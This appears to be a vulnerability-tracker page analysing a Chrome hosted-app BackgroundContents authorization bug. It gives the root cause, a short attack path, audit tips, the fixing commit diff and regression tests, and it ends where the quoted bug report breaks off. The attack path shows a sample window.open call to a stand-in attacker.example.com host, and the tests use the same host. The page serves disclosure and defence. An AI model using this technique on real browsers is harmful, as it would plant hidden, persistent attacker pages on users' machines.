Medium watch CVSS 4.3 chrome Authorization Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMissing authorization in Browser
DescriptionMissing authorization in Browser
ComponentBrowser
Bug ClassAuthorization Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker511824746
Fix commit2c850898c887 (chromium/src) +396/-14
CWECWE-862
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-05-10 (per vendor advisory)
Fix landed2026-08-14 (public git)
Disclosed2026-09-08
Patch gap25 days — fix public in source before the advisory

Background

Hosted app
a legacy packaged/hosted extension app whose reachable web pages are declared by a manifest web_extent() (the "app": {"urls": [...]} list), so pages inside that extent run with the app’s identity.
`BackgroundContents`
an invisible, persistent page a hosted app with the background permission can spawn (e.g. via window.open(url, 'name', 'background')) and that BackgroundContentsService re-creates on browser startup from the kRegisteredBackgroundContents preference.
`web_extent().MatchesURL(url)`
the authorization predicate that answers whether a given url falls within the hosted app’s declared extent; a page outside it is not part of the app.
`NavigationThrottle`
a browser-process hook (WillStartRequest/WillRedirectRequest) that can PROCEED or BLOCK_REQUEST before a navigation commits, i.e. an authoritative, non-renderer enforcement point.

Root Cause Analysis

The pre-patch code assumed a BackgroundContents could only ever navigate within its app’s extent, and the removed comment in BackgroundContents::PrimaryPageChanged states the (wrong) belief that this “is enforced in RenderView::decidePolicyForNavigation” — i.e. enforcement was delegated to the untrusted renderer, so the browser performed no extent check of its own. As a result a hosted app page could call window.open(target_url, name, 'background') with an off-extent (attacker-controlled) target_url; the browser created the background page, and OnBackgroundContentsNavigated unconditionally called RegisterBackgroundContents, persisting that off-extent URL into kRegisteredBackgroundContents. On the next startup LoadBackgroundContentsFromDictionary read the saved URL straight back and called LoadBackgroundContents with no extent validation, silently resurrecting an off-extent background page under the app’s registration. The invariant violated is that a hosted app’s background page must only ever load URLs inside web_extent(); the fix restores it with four browser-side web_extent().MatchesURL() gates (creation, live navigation, registration/persistence, and startup restore), all guarded by the enabled-by-default kBlockBackgroundContentsOffExtentNavigation feature. Because every gate runs in the browser process rather than the renderer, a compromised or malicious app page can no longer bypass it.
Key insight
The single mistake was trusting a renderer-side policy check (RenderView::decidePolicyForNavigation) to keep a hosted app’s BackgroundContents inside its web_extent(), leaving the browser with no authorization check of its own; the fix moves that web_extent().MatchesURL() check into the browser at creation, navigation, registration, and restore.

Attack Path

  1. Install/control a hosted app with `background` The attacker gets a hosted app declaring a narrow web_extent() (e.g. http://a.com/) and holding the background permission loaded, then runs script on one of its in-extent pages.
  2. Open an off-extent background page From that page the script calls window.open('http://attacker.example.com/…', 'bg', 'background'); pre-patch, CreateBackgroundContents created the page even though the target URL is outside web_extent().
  3. Persist the off-extent URL OnBackgroundContentsNavigated fired and called RegisterBackgroundContents, writing the off-extent URL into the kRegisteredBackgroundContents preference under the app’s id.
  4. Silently resurrect on startup On the next browser launch LoadBackgroundContentsFromDictionary read the saved URL and called LoadBackgroundContents with no extent check, reviving a persistent, invisible page pointing at the attacker-controlled URL registered against the hosted app.
  5. Downstream escalation (inferred) Any further gain from an off-extent page persistently running under the hosted app’s registration is not demonstrated by the patch and is not asserted here.

Impact Assessment

An attacker who controls a hosted app page with the background permission gains a persistent, invisible BackgroundContents window that loads an off-extent, attacker-chosen URL and is silently re-created across browser restarts, all in the browser-managed background-page context rather than confined to the app’s extent — a missing-authorization bug in the Browser (bug class AuthorizationError). Preconditions are a hosted app carrying the background permission plus the ability to run script on one of its in-extent pages. The vendor advisory rates this medium severity and does not report in-the-wild exploitation; NVD scores it CVSS 4.3. Any escalation beyond the persistent off-extent background page is (inferred), not established by the patch.

Changed Functions

FunctionChangeNotes
if
chrome/browser/background/background_contents_navigation_throttle.cc
modified
WillStartRequest
chrome/browser/background/background_contents_navigation_throttle.cc
modified
WillRedirectRequest
chrome/browser/background/background_contents_navigation_throttle.cc
modified
WillStartOrRedirectRequest
chrome/browser/background/background_contents_navigation_throttle.cc
modified
NavigationThrottleRegistry
chrome/browser/background/background_contents_navigation_throttle.h
modified
BackgroundContentsNavigationThrottle
chrome/browser/background/background_contents_navigation_throttle.h
modified
for
chrome/browser/background/background_contents_service.cc
modified
if
chrome/browser/background/background_contents_service.cc
modified
if
chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
modified

Files Changed

  • chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
  • chrome/browser/extensions/app_background_page_apitest.cc
  • chrome/browser/background/background_contents_navigation_throttle.h
  • chrome/browser/background/background_contents_service_unittest.cc
  • chrome/browser/background/background_contents_service.cc
  • extensions/common/extension_features.cc
  • chrome/browser/background/background_contents_navigation_throttle.cc
  • chrome/browser/background/background_contents.cc
  • chrome/browser/background/BUILD.gn
  • chrome/browser/background/background_contents_service.h
  • extensions/common/extension_features.h
  • chrome/browser/BUILD.gn
  • chrome/browser/chrome_content_browser_client_navigation_throttles.cc

Audit Directions

  • Renderer-trusted policy checks
    Search for comments/code claiming a security decision “is enforced in” a renderer path (e.g. decidePolicyForNavigation); such delegated authorization is bypassable by a compromised renderer and should be re-checked in the browser.
  • Persisted URLs restored without re-validation
    Audit other preference/session-restore loaders (like LoadBackgroundContentsFromDictionary reading kRegisteredBackgroundContents) that reload stored URLs on startup, since a value validated at write time can be poisoned or become stale and must be re-checked at read time.
  • Extent/origin scoping for app-spawned surfaces
    Review every place a hosted app or extension can create or navigate a surface (window.open targets, popups, background pages) to confirm web_extent().MatchesURL() (or the equivalent origin check) is applied at creation, navigation, and persistence, not just one of them.
From 2c850898c887b93e039cd8557ced79fd3f1f3c39 Mon Sep 17 00:00:00 2001
From: Jan Keitel <jkeitel@google.com>
Date: Fri, 14 Aug 2026 01:28:50 -0700
Subject: [PATCH] Enforce web extent on hosted app BackgroundContents

Previously, a hosted app with the background permission could open
a background contents window to an off-extent target URL via
window.open(url, 'name', 'background'). The target URL would be
saved in kRegisteredBackgroundContents preferences and reloaded
without extent validation on browser startup.

This CL implements a 4-layer defense-in-depth fix:
1. In Browser::CreateBackgroundContents, reject target URLs
   that are outside the hosted app's manifest web_extent().
2. In BackgroundContentsNavigationThrottle, intercept and block
   main-frame navigations outside web_extent().
3. In OnBackgroundContentsNavigated, verify extent before
   registering in preferences and unregister if off-extent.
4. In LoadBackgroundContentsFromDictionary, check extent before
   restoring saved preference URLs on startup.

TAG=agy
CONV=dda136c7-b0bc-4856-a8dc-3e0b48d7c407

Bug: 511824746
Change-Id: I88bfc6018376f02a5138dfb96e707c014d46620e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8175450
Reviewed-by: Devlin Cronin <rdevlin.cronin@chromium.org>
Commit-Queue: Jan Keitel <jkeitel@google.com>
Cr-Commit-Position: refs/heads/main@{#1679423}
---
diff --git a/chrome/browser/background/background_contents.cc b/chrome/browser/background/background_contents.cc
index abe93700..12c5cbc 100644
--- a/chrome/browser/background/background_contents.cc
+++ b/chrome/browser/background/background_contents.cc
@@ -98,13 +98,15 @@
 }
 
 void BackgroundContents::PrimaryPageChanged(content::Page& page) {
-  // Note: because BackgroundContents are only available to extension apps,
+  // Note: Because `BackgroundContents` are only available to extension apps,
   // navigation is limited to urls within the app's extent. This is enforced in
-  // RenderView::decidePolicyForNavigation. If BackgroundContents become
-  // available as a part of the web platform, it probably makes sense to have
-  // some way to scope navigation of a background page to its opener's security
-  // origin. Note: if the first navigation is to a URL outside the app's
-  // extent a background page will be opened but will remain at about:blank.
+  // `Browser::CreateBackgroundContents`,
+  // `BackgroundContentsNavigationThrottle`, and `BackgroundContentsService`. If
+  // `BackgroundContents` become available as a part of the web platform, it
+  // probably makes sense to have some way to scope navigation of a background
+  // page to its opener's security origin. Note: if the first navigation is to a
+  // URL outside the app's extent a background page will be opened but will
+  // remain at about:blank.
   delegate_->OnBackgroundContentsNavigated(this);
 }
 
diff --git a/chrome/browser/background/background_contents_navigation_throttle.cc b/chrome/browser/background/background_contents_navigation_throttle.cc
new file mode 100644
index 0000000..99d287d
--- /dev/null
+++ b/chrome/browser/background/background_contents_navigation_throttle.cc
@@ -0,0 +1,103 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/background/background_contents_navigation_throttle.h"
+
+#include <memory>
+
+#include "base/feature_list.h"
+#include "chrome/browser/background/background_contents_service.h"
+#include "chrome/browser/background/background_contents_service_factory.h"
+#include "chrome/browser/profiles/profile.h"
+#include "content/public/browser/navigation_handle.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/common/url_constants.h"
+#include "extensions/browser/extension_registry.h"
+#include "extensions/common/extension.h"
+#include "extensions/common/extension_features.h"
+#include "url/gurl.h"
+
+// static
+void BackgroundContentsNavigationThrottle::MaybeCreateAndAdd(
+    content::NavigationThrottleRegistry& registry) {
+  if (!base::FeatureList::IsEnabled(
+          extensions_features::kBlockBackgroundContentsOffExtentNavigation)) {
+    return;
+  }
+
+  content::NavigationHandle& handle = registry.GetNavigationHandle();
+  if (!handle.IsInMainFrame()) {
+    return;
+  }
+
+  content::WebContents* const web_contents = handle.GetWebContents();
+  if (!web_contents) {
+    return;
+  }
+
+  BackgroundContentsService* const service =
+      BackgroundContentsServiceFactory::GetForProfile(
+          Profile::FromBrowserContext(web_contents->GetBrowserContext()));
+  if (!service || !service->IsTracked(web_contents)) {
+    return;
+  }
+
+  registry.AddThrottle(
+      std::make_unique<BackgroundContentsNavigationThrottle>(registry));
+}
+
+BackgroundContentsNavigationThrottle::BackgroundContentsNavigationThrottle(
+    content::NavigationThrottleRegistry& registry)
+    : content::NavigationThrottle(registry) {}
+
+BackgroundContentsNavigationThrottle::~BackgroundContentsNavigationThrottle() =
+    default;
+
+content::NavigationThrottle::ThrottleCheckResult
+BackgroundContentsNavigationThrottle::WillStartRequest() {
+  return WillStartOrRedirectRequest();
+}
+
+content::NavigationThrottle::ThrottleCheckResult
+BackgroundContentsNavigationThrottle::WillRedirectRequest() {
+  return WillStartOrRedirectRequest();
+}
+
+const char* BackgroundContentsNavigationThrottle::GetNameForLogging() {
+  return "BackgroundContentsNavigationThrottle";
+}
+
+content::NavigationThrottle::ThrottleCheckResult
+BackgroundContentsNavigationThrottle::WillStartOrRedirectRequest() {
+  content::WebContents* const web_contents =
+      navigation_handle()->GetWebContents();
+  Profile* const profile =
+      Profile::FromBrowserContext(web_contents->GetBrowserContext());
+  BackgroundContentsService* const service =
+      BackgroundContentsServiceFactory::GetForProfile(profile);
+
+  const std::string& appid = service->GetParentApplicationId(web_contents);
+  if (appid.empty()) {
+    return content::NavigationThrottle::PROCEED;
+  }
+
+  extensions::ExtensionRegistry* const registry =
+      extensions::ExtensionRegistry::Get(profile);
+  const extensions::Extension* const extension =
+      registry->enabled_extensions().GetByID(appid);
+  if (!extension) {
+    return content::NavigationThrottle::BLOCK_REQUEST;
+  }
+
+  const GURL& url = navigation_handle()->GetURL();
+  if (url.is_empty() || url.SchemeIs(url::kAboutScheme)) {
+    return content::NavigationThrottle::PROCEED;
+  }
+
+  if (!extension->web_extent().MatchesURL(url)) {
+    return content::NavigationThrottle::BLOCK_REQUEST;
+  }
+
+  return content::NavigationThrottle::PROCEED;
+}
diff --git a/chrome/browser/background/background_contents_navigation_throttle.h b/chrome/browser/background/background_contents_navigation_throttle.h
new file mode 100644
index 0000000..9256bf12
--- /dev/null
+++ b/chrome/browser/background/background_contents_navigation_throttle.h
@@ -0,0 +1,38 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_
+#define CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_
+
+#include "content/public/browser/navigation_throttle.h"
+
+namespace content {
+class NavigationThrottleRegistry;
+}  // namespace content
+
+// NavigationThrottle for BackgroundContents that blocks any main-frame
+// navigation or redirect to a URL outside the parent hosted app's web extent.
+class BackgroundContentsNavigationThrottle
+    : public content::NavigationThrottle {
+ public:
+  static void MaybeCreateAndAdd(content::NavigationThrottleRegistry& registry);
+
+  explicit BackgroundContentsNavigationThrottle(
+      content::NavigationThrottleRegistry& registry);
+  BackgroundContentsNavigationThrottle(
+      const BackgroundContentsNavigationThrottle&) = delete;
+  BackgroundContentsNavigationThrottle& operator=(
+      const BackgroundContentsNavigationThrottle&) = delete;
+  ~BackgroundContentsNavigationThrottle() override;
+
+  // content::NavigationThrottle:
+  ThrottleCheckResult WillStartRequest() override;
+  ThrottleCheckResult WillRedirectRequest() override;
+  const char* GetNameForLogging() override;
+
+ private:
+  ThrottleCheckResult WillStartOrRedirectRequest();
+};
+
+#endif  // CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_
diff --git a/chrome/browser/background/background_contents_service.cc b/chrome/browser/background/background_contents_service.cc
index 15014ddaa..1590055 100644
--- a/chrome/browser/background/background_contents_service.cc
+++ b/chrome/browser/background/background_contents_service.cc
@@ -48,6 +48,7 @@
 #include "extensions/browser/image_loader.h"
 #include "extensions/common/constants.h"
 #include "extensions/common/extension.h"
+#include "extensions/common/extension_features.h"
 #include "extensions/common/extension_id.h"
 #include "extensions/common/extension_set.h"
 #include "extensions/common/icons/extension_icon_set.h"
@@ -516,7 +517,17 @@
   std::string frame_name = maybe_frame_name ? *maybe_frame_name : std::string();
   std::string url = maybe_url ? *maybe_url : std::string();
 
-  LoadBackgroundContents(GURL(url), frame_name, extension_id);
+  GURL gurl(url);
+  const Extension* extension = extensions::ExtensionRegistry::Get(profile_)
+                                   ->enabled_extensions()
+                                   .GetByID(extension_id);
+  if (base::FeatureList::IsEnabled(
+          extensions_features::kBlockBackgroundContentsOffExtentNavigation) &&
+      extension && !extension->web_extent().MatchesURL(gurl)) {
+    return;
+  }
+
+  LoadBackgroundContents(gurl, frame_name, extension_id);
 }
 
 void BackgroundContentsService::LoadBackgroundContentsFromManifests() {
@@ -653,6 +664,11 @@
   return !GetParentApplicationId(background_contents).empty();
 }
 
+bool BackgroundContentsService::IsTracked(
+    content::WebContents* web_contents) const {
+  return !GetParentApplicationId(web_contents).empty();
+}
+
 void BackgroundContentsService::AddObserver(
     BackgroundContentsServiceObserver* observer) {
   observers_.AddObserver(observer);
@@ -678,6 +694,17 @@
   return base::EmptyString();
 }
 
+const std::string& BackgroundContentsService::GetParentApplicationId(
+    content::WebContents* contents) const {
+  for (const auto& [id, background_contents_info] : contents_map_) {
+    if (background_contents_info.contents &&
+        background_contents_info.contents->web_contents() == contents) {
+      return id;
+    }
+  }
+  return base::EmptyString();
+}
+
 void BackgroundContentsService::AddWebContents(
     std::unique_ptr<WebContents> new_contents,
     const GURL& target_url,
@@ -705,8 +732,17 @@
       extensions::ExtensionRegistry::Get(profile_);
   const Extension* extension =
       extension_registry->enabled_extensions().GetByID(appid);
-  if (extension && BackgroundInfo::HasBackgroundPage(extension))
-    return;
+  if (extension) {
+    if (BackgroundInfo::HasBackgroundPage(extension)) {
+      return;
+    }
+    if (base::FeatureList::IsEnabled(
+            extensions_features::kBlockBackgroundContentsOffExtentNavigation) &&
+        !extension->web_extent().MatchesURL(contents->GetURL())) {
+      UnregisterBackgroundContents(contents);
+      return;
+    }
+  }
   RegisterBackgroundContents(contents);
 }
 
diff --git a/chrome/browser/background/background_contents_service.h b/chrome/browser/background/background_contents_service.h
index 63331ac..7e41f41a 100644
--- a/chrome/browser/background/background_contents_service.h
+++ b/chrome/browser/background/background_contents_service.h
@@ -117,6 +117,12 @@
   // an empty string if no parent application found (e.g. passed
   // BackgroundContents has already shut down).
   const std::string& GetParentApplicationId(BackgroundContents* contents) const;
+  const std::string& GetParentApplicationId(
+      content::WebContents* contents) const;
+
+  // Returns true if this BackgroundContents is in the contents_list_.
+  bool IsTracked(BackgroundContents* contents) const;
+  bool IsTracked(content::WebContents* contents) const;
 
   // Creates a new BackgroundContents using the passed |site| and
   // begins tracking the object internally so it can be shutdown if the parent
@@ -217,9 +223,6 @@
   // passed extension.
   void ShutdownAssociatedBackgroundContents(const std::string& appid);
 
-  // Returns true if this BackgroundContents is in the contents_list_.
-  bool IsTracked(BackgroundContents* contents) const;
-
   // Sends out a notification when our association of background contents with
   // apps may have changed (used by BackgroundApplicationListModel to update the
   // set of background apps as new background contents are opened/closed).
diff --git a/chrome/browser/chrome_content_browser_client_navigation_throttles.cc b/chrome/browser/chrome_content_browser_client_navigation_throttles.cc
index 67c86b09..3530884 100644
--- a/chrome/browser/chrome_content_browser_client_navigation_throttles.cc
+++ b/chrome/browser/chrome_content_browser_client_navigation_throttles.cc
@@ -90,6 +90,7 @@
 #endif  // BUILDFLAG(DFMIFY_DEV_UI)
 
 #else  // BUILDFLAG(IS_ANDROID)
+#include "chrome/browser/background/background_contents_navigation_throttle.h"
 #include "chrome/browser/devtools/devtools_navigation_throttle.h"
 #include "chrome/browser/page_info/web_view_side_panel_throttle.h"
 #include "chrome/browser/themes/theme_service_factory.h"
@@ -601,6 +602,7 @@
   data_sharing::DataSharingNavigationThrottle::MaybeCreateAndAdd(registry);
 
 #if !BUILDFLAG(IS_ANDROID)
+  BackgroundContentsNavigationThrottle::MaybeCreateAndAdd(registry);
   web_app::IsolatedWebAppThrottle::MaybeCreateAndAdd(registry);
   DevToolsNavigationThrottle::MaybeCreateAndAdd(registry);
 #endif  // !BUILDFLAG(IS_ANDROID)
diff --git a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
index 7c02d3d0..3ce8fef 100644
--- a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
+++ b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
@@ -87,6 +87,7 @@
 #include "extensions/browser/process_map.h"
 #include "extensions/common/constants.h"
 #include "extensions/common/extension.h"
+#include "extensions/common/extension_features.h"
 #include "extensions/common/manifest_handlers/background_info.h"
 #include "third_party/blink/public/common/manifest/manifest.h"
 #include "third_party/blink/public/common/page/drag_operation.h"
@@ -195,6 +196,19 @@
       extensions::ExtensionRegistry::Get(profile)
           ->enabled_extensions()
           .GetHostedAppByURL(opener_url);
+
+  if (!extension) {
+    return nullptr;
+  }
+
+  // Background content URLs need to be part of the extension's web extent or be
+  // blank.
+  if (base::FeatureList::IsEnabled(
+          extensions_features::kBlockBackgroundContentsOffExtentNavigation) &&
+      !target_url.is_empty() && !target_url.SchemeIs(url::kAboutScheme) &&
+      !extension->web_extent().MatchesURL(target_url)) {
+    return nullptr;
+  }
   bool allow_js_access = extensions::BackgroundInfo::AllowJSAccess(extension);
   // Only allow a single background contents per app.
   BackgroundContents* existing =
diff --git a/extensions/common/extension_features.cc b/extensions/common/extension_features.cc
index 959ccae..30be474 100644
--- a/extensions/common/extension_features.cc
+++ b/extensions/common/extension_features.cc
@@ -105,6 +105,9 @@
 BASE_FEATURE(kAllowWithholdingExtensionPermissionsOnInstall,
              base::FEATURE_DISABLED_BY_DEFAULT);
 
+BASE_FEATURE(kBlockBackgroundContentsOffExtentNavigation,
+             base::FEATURE_ENABLED_BY_DEFAULT);
+
 BASE_FEATURE(kCheckingNoExtensionIdInExtensionIpcs,
              "EMF_NO_EXTENSION_ID_FOR_EXTENSION_SOURCE",
              base::FEATURE_ENABLED_BY_DEFAULT);
diff --git a/extensions/common/extension_features.h b/extensions/common/extension_features.h
index 369d265e..149da03 100644
--- a/extensions/common/extension_features.h
+++ b/extensions/common/extension_features.h
@@ -132,6 +132,11 @@
 // requested host permissions by default.
 BASE_DECLARE_FEATURE(kAllowWithholdingExtensionPermissionsOnInstall);
 
+// If enabled, navigations and window.open calls to URLs outside a hosted app's
+// web extent in background contents are blocked and not persisted to prefs.
+// TODO(crbug.com/511824746): Clean up in M156.
+BASE_DECLARE_FEATURE(kBlockBackgroundContentsOffExtentNavigation);
+
 // When enabled, then bad_message::ReceivedBadMessage will be called when
 // browser receives an IPC from a content script and the IPC that unexpectedly
 // claims to act on behalf of a given extension id, (i.e. even if the browser
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index ee7d3e5..d80b14a7 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -11,6 +11,7 @@
 #include "base/functional/callback.h"
 #include "base/memory/raw_ptr.h"
 #include "base/run_loop.h"
+#include "base/strings/stringprintf.h"
 #include "base/test/run_until.h"
 #include "base/threading/thread_restrictions.h"
 #include "base/values.h"
@@ -27,7 +28,9 @@
 #include "components/prefs/pref_service.h"
 #include "components/prefs/scoped_user_pref_update.h"
 #include "content/public/test/browser_task_environment.h"
+#include "extensions/browser/extension_registry.h"
 #include "extensions/common/extension.h"
+#include "extensions/common/extension_builder.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "url/gurl.h"
 
@@ -121,6 +124,18 @@
     return contents_ptr;
   }
 
+  scoped_refptr<const extensions::Extension> CreateHostedApp(
+      const std::string& name,
+      const GURL& url) {
+    std::string json = base::StringPrintf(
+        R"("app": {"urls": ["%s"], "launch": {"web_url": "%s"}})",
+        url.spec().c_str(), url.spec().c_str());
+    scoped_refptr<const extensions::Extension> extension =
+        extensions::ExtensionBuilder(name).AddJSON(json).Build();
+    extensions::ExtensionRegistry::Get(profile_)->AddEnabled(extension);
+    return extension;
+  }
+
  protected:
   content::BrowserTaskEnvironment task_environment_{
       content::BrowserTaskEnvironment::TimeSource::MOCK_TIME};
@@ -260,9 +275,10 @@
 TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
   BackgroundContentsService service(profile_);
 
-  // Manually set up the preference.
-  const std::string appid = "appid";
   const GURL expected_url("http://www.google.com/test");
+  scoped_refptr<const extensions::Extension> extension =
+      CreateHostedApp("test_app", expected_url);
+  const std::string appid = extension->id();
 
   {
     ScopedDictPrefUpdate update(profile_->GetPrefs(),
@@ -280,3 +296,49 @@
   ASSERT_TRUE(contents);
   EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
 }
+
+// Tests that background contents stored in prefs with an off-extent URL are
+// ignored on restore.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefsIgnoresUrlOutsideExtent) {
+  BackgroundContentsService service(profile_);
+
+  const GURL in_extent_url("http://www.google.com/test");
+  const GURL out_of_extent_url("http://attacker.example.com/test");
+  scoped_refptr<const extensions::Extension> extension =
+      CreateHostedApp("test_app", in_extent_url);
+  const std::string appid = extension->id();
+
+  {
+    ScopedDictPrefUpdate update(profile_->GetPrefs(),
+                                prefs::kRegisteredBackgroundContents);
+    base::DictValue dict;
+    dict.Set("url", out_of_extent_url.spec());
+    dict.Set("name", "test_frame");
+    update->Set(appid, std::move(dict));
+  }
+
+  service.LoadBackgroundContentsForExtension(appid);
+
+  BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+  EXPECT_FALSE(contents);
+}
+
+// Tests that navigating background contents to an off-extent URL unregisters it
+// from prefs.
+TEST_F(BackgroundContentsServiceTest, NavigatedUrlOutsideExtentNotRegistered) {
+  BackgroundContentsService service(profile_);
+
+  const GURL in_extent_url("http://www.google.com/test");
+  const GURL out_of_extent_url("http://attacker.example.com/test");
+  scoped_refptr<const extensions::Extension> extension =
+      CreateHostedApp("test_app", in_extent_url);
+  const std::string appid = extension->id();
+
+  auto owned_contents =
+      std::make_unique<MockBackgroundContents>(&service, appid);
+  EXPECT_EQ(GetPrefs(profile_).size(), 0u);
+  auto* contents = AddToService(std::move(owned_contents));
+
+  contents->Navigate(out_of_extent_url);
+  EXPECT_EQ(GetPrefs(profile_).size(), 0u);
+}
diff --git a/chrome/browser/extensions/app_background_page_apitest.cc b/chrome/browser/extensions/app_background_page_apitest.cc
index 1cfa1ff6..8bb944d 100644
--- a/chrome/browser/extensions/app_background_page_apitest.cc
+++ b/chrome/browser/extensions/app_background_page_apitest.cc
@@ -30,15 +30,18 @@
 #include "chrome/browser/ui/dialogs/browser_dialogs.h"
 #include "chrome/browser/ui/extensions/application_launch.h"
 #include "chrome/common/chrome_paths.h"
+#include "chrome/test/base/ui_test_utils.h"
 #include "components/embedder_support/switches.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/test/browser_test.h"
 #include "content/public/test/browser_test_utils.h"
+#include "content/public/test/test_navigation_observer.h"
 #include "content/public/test/test_utils.h"
 #include "extensions/browser/process_manager.h"
 #include "extensions/common/extension.h"
 #include "extensions/common/switches.h"
 #include "extensions/test/extension_test_message_listener.h"
+#include "net/base/net_errors.h"
 #include "net/dns/mock_host_resolver.h"
 #include "net/test/embedded_test_server/embedded_test_server.h"
 #include "testing/gmock/include/gmock/gmock.h"
@@ -601,3 +604,111 @@
   content::RunAllPendingInMessageLoop();
   ASSERT_TRUE(VerifyBackgroundMode(false));
 }
+
+// Tests that opening a background contents window with an off-extent target
+// URL is blocked.
+IN_PROC_BROWSER_TEST_F(AppBackgroundPageApiTest,
+                       NoJsBackgroundPageTargetOutsideExtent) {
+  const std::string app_manifest = base::StringPrintf(
+      R"({
+        "name": "App",
+        "version": "0.1",
+        "manifest_version": 2,
+        "app": {
+          "urls": [
+            "http://a.com/"
+          ],
+          "launch": {
+            "web_url": "http://a.com:%u/empty.html"
+          }
+        },
+        "permissions": ["background"],
+        "background": {
+          "allow_js_access": false
+        }
+      })",
+      embedded_test_server()->port());
+
+  base::FilePath app_dir;
+  ASSERT_TRUE(CreateApp(app_manifest, &app_dir));
+  ASSERT_TRUE(LoadExtension(app_dir));
+
+  const Extension* extension = GetSingleLoadedExtension();
+  ASSERT_TRUE(extension);
+
+  GURL launch_url = embedded_test_server()->GetURL("a.com", "/empty.html");
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), launch_url));
+
+  GURL out_of_extent_url =
+      embedded_test_server()->GetURL("b.com", "/empty.html");
+  std::string script =
+      base::StringPrintf("window.open('%s', 'bg', 'background') == null;",
+                         out_of_extent_url.spec().c_str());
+  EXPECT_EQ(content::EvalJs(
+                browser()->tab_strip_model()->GetActiveWebContents(), script),
+            true);
+
+  EXPECT_FALSE(BackgroundContentsServiceFactory::GetForProfile(profile())
+                   ->GetAppBackgroundContents(extension->id()));
+  UnloadExtension(extension->id());
+}
+
+// Tests that navigating an existing background contents window to an
+// off-extent URL is blocked.
+IN_PROC_BROWSER_TEST_F(AppBackgroundPageApiTest,
+                       NoJsBackgroundPageNavigateOutsideExtent) {
+  const std::string app_manifest = base::StringPrintf(
+      R"({
+        "name": "App",
+        "version": "0.1",
+        "manifest_version": 2,
+        "app": {
+          "urls": [
+            "http://a.com/"
+          ],
+          "launch": {
+            "web_url": "http://a.com:%u/empty.html"
+          }
+        },
+        "permissions": ["background"],
+        "background": {
+          "allow_js_access": false
+        }
+      })",
+      embedded_test_server()->port());
+
+  base::FilePath app_dir;
+  ASSERT_TRUE(CreateApp(app_manifest, &app_dir));
+  ASSERT_TRUE(LoadExtension(app_dir));
+
+  const Extension* extension = GetSingleLoadedExtension();
+  ASSERT_TRUE(extension);
+
+  BackgroundContentsTestWaiter background_waiter(profile());
+  GURL launch_url = embedded_test_server()->GetURL("a.com", "/empty.html");
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), launch_url));
+
+  std::string open_script = base::StringPrintf(
+      "window.open('%s', 'bg', 'background');", launch_url.spec().c_str());
+  EXPECT_TRUE(content::ExecJs(
+      browser()->tab_strip_model()->GetActiveWebContents(), open_script));
+  background_waiter.WaitForBackgroundContents(extension->id());
+
+  BackgroundContents* background_contents =
+      BackgroundContentsServiceFactory::GetForProfile(profile())
+          ->GetAppBackgroundContents(extension->id());
+  ASSERT_TRUE(background_contents);
+
+  GURL out_of_extent_url =
+      embedded_test_server()->GetURL("b.com", "/empty.html");
+  std::string nav_script = base::StringPrintf("window.location.href = '%s';",
+                                              out_of_extent_url.spec().c_str());
+  content::TestNavigationObserver nav_observer(
+      background_contents->web_contents());
+  EXPECT_TRUE(content::ExecJs(background_contents->web_contents(), nav_script));
+  nav_observer.Wait();
+
+  EXPECT_FALSE(nav_observer.last_navigation_succeeded());
+  EXPECT_EQ(net::ERR_BLOCKED_BY_CLIENT, nav_observer.last_net_error_code());
+  UnloadExtension(extension->id());
+}
Loading diff…

Original Bug Report

reported by vm...@google.com

BackgroundContents missing web_extent check for cross-origin persistence

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A logic flaw in BackgroundContents allows hosted apps with the ‘background’ permission to navigate to and persist arbitrary cross-origin URLs. Because browser-side checks do not validate the navigation target against the app’s web_extent, the cross-origin URL is saved to user preferences and silently reloaded in the background on browser restarts.

Affected files:

  • chrome/browser/background/background_contents_service.cc
  • chrome/browser/ui/browser.cc
  • chrome/browser/background/background_contents.cc
  • chrome/browser/chrome_content_browser_client.cc

Estimated timestamp from git blame: 2026-04-29

Background

